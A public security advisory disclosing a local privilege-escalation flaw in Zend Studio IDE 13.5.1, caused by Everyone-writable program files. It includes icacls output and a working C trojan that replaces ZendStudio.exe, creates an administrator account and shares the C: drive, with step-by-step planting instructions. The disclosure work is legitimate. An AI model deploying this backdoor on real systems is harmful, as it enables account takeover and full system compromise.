Zend Studio IDE 13.5.1 – Insecure File Permissions Privilege Escalation
[+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/ZEND-STUDIO-PRIVILEGE-ESCALATION.txt [+] ISR: ApparitionSec Vendor: ============ www.zend.com Product: ====================== ZendStudio IDE v13.5.1 Zend Studio is the leading PHP IDE. It is the only PHP IDE that combines mobile development with PHP and includes a sample mobile app with source code. Vulnerability Type: ===================== Privilege Escalation CVE Reference: ============== N/A Vulnerability Details: ===================== ZendStudio IDE uses weak insecure permissions settings on its files/directory as the “Everyone” group has full access on it. Allowing low privileged users to execute arbitrary code in the security context of ANY other users with elevated privileges on the affected system. "Everyone" encompasses all users who have logged in with a password as well as built-in, non-password protected accounts such as Guest and LOCAL_SERVICE. Any user (even guest) will be able to replace, modify or change the file. This would allow an attacker the ability to inject code or replace the ZendStudio executable and have it run in the context of the system. e.g. c:\Program Files (x86)\Zend\Zend Studio 13.5.1> icacls ZendStudio.exe ZendStudio.exe Everyone:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) x86_64 version ... c:\Program Files\Zend>icacls * | more Zend Studio 13.5.1 Everyone:(F) Everyone:(OI)(CI)(IO)(F) NT SERVICE\TrustedInstaller:(I)(F) NT SERVICE\TrustedInstaller:(I)(CI)(I NT AUTHORITY\SYSTEM:(I)(F) NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F BUILTIN\Administrators:(I)(F) BUILTIN\Administrators:(I)(OI)(CI)(IO BUILTIN\Users:(I)(RX) BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE) CREATOR OWNER:(I)(OI)(CI)(IO)(F) Exploit code(s): =============== 1) Compile below 'C' code name it as "ZendStudio.exe" #include<windows.h> int main(void){ system("net user hacker abc123 /add"); system("net localgroup Administrators hacker /add"); system("net share SHARE_NAME=c:\ /grant:hacker,full"); WinExec("C:\\Program Files (x86)\\Zend\\Zend Studio 13.5.1\\~ZendStudio.exe",0); return 0; } 2) Rename original "ZendStudio.exe" to "~ZendStudio.exe" 3) Place our malicious "ZendStudio.exe" in the ZendStudio directory 4) Logout and wait for a more privileged user to login and use ZendStudio IDE then BOOM!!!!! later, go back and login with your shiny new account. Disclosure Timeline: ======================================== Vendor Notification: September 30, 2016 October 8, 2016 : Public Disclosure Exploitation Technique: ======================= Local Severity Level: =============== High [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. hyp3rlinx |